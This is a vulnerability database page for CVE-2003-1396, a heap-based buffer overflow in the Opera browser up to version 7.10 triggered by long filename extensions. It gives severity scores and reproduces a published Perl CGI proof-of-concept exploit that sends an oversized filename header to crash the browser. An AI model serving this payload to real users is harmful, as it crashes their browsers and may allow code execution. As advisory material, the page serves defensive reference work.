CVE-2003-1396 : Detail

CVE-2003-1396

Overflow
3.83%V4
Network
2007-10-19
08h00 +00:00
2017-07-28
10h57 +00:00
CVE.org
NVD
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CVE Descriptions

Heap-based buffer overflow in Opera 6.05 through 7.10 allows remote attackers to cause a denial of service (crash) and possibly execute arbitrary code via a filename with a long extension.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-787 Out-of-bounds Write
The product writes data past the end, or before the beginning, of the intended buffer.

Metrics

Metrics Score Severity CVSS Vector Source
V2 6.8 AV:N/AC:M/Au:N/C:P/I:P/A:P nvd@nist.gov

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
EPSS First.org

Exploit information

Exploit Database EDB-ID : 22550

Publication date : 2003-04-27 22h00 +00:00
Author : imagine & nesumin
EDB Verified : Yes

source: https://www.securityfocus.com/bid/7450/info A vulnerability has been reported for Opera versions 7.10 and earlier. The problem is said to occur due to insufficient bounds checking on filename extensions. As a result, it may be possible for an attacker to corrupt heap-based memory. Successful exploitation of this vulnerability may result in a denial of service, possibly prolonged. If a malicious filename entry were placed in a cache file, Opera may continuously crash until the cache file has been deleted. #!/usr/bin/perl # Smash Heap Memory. # This script is CGI program. $|=1; my $filename = "." . "\xCC" x (int(rand(0x20000)) + 0x100); print "Content-type: text/html\r\n"; print qq~Content-Disposition: filename="$filename"\r\n~; print "\r\n"; print "<html><body>Love & Peace :)</body></html>\r\n";

Products Mentioned

Configuraton 0

Opera>>Opera_browser >> Version From (including) 6.0 To (including) 7.10

References

http://www.securityfocus.com/bid/7450
Tags : vdb-entry, x_refsource_BID
The information presented on CVE Find originates from several carefully selected reference sources. CVE data is provided by MITRE Corporation and the National Vulnerability Database (NVD). The Known Exploited Vulnerabilities (KEV) catalog is sourced from the Cybersecurity and Infrastructure Security Agency (CISA), while EPSS scores come from FIRST.org. Additionally, data regarding software weaknesses (CWE) and common attack patterns (CAPEC) is maintained by MITRE Corporation, and information on hardware and software configurations (CPE) is provided by the NVD.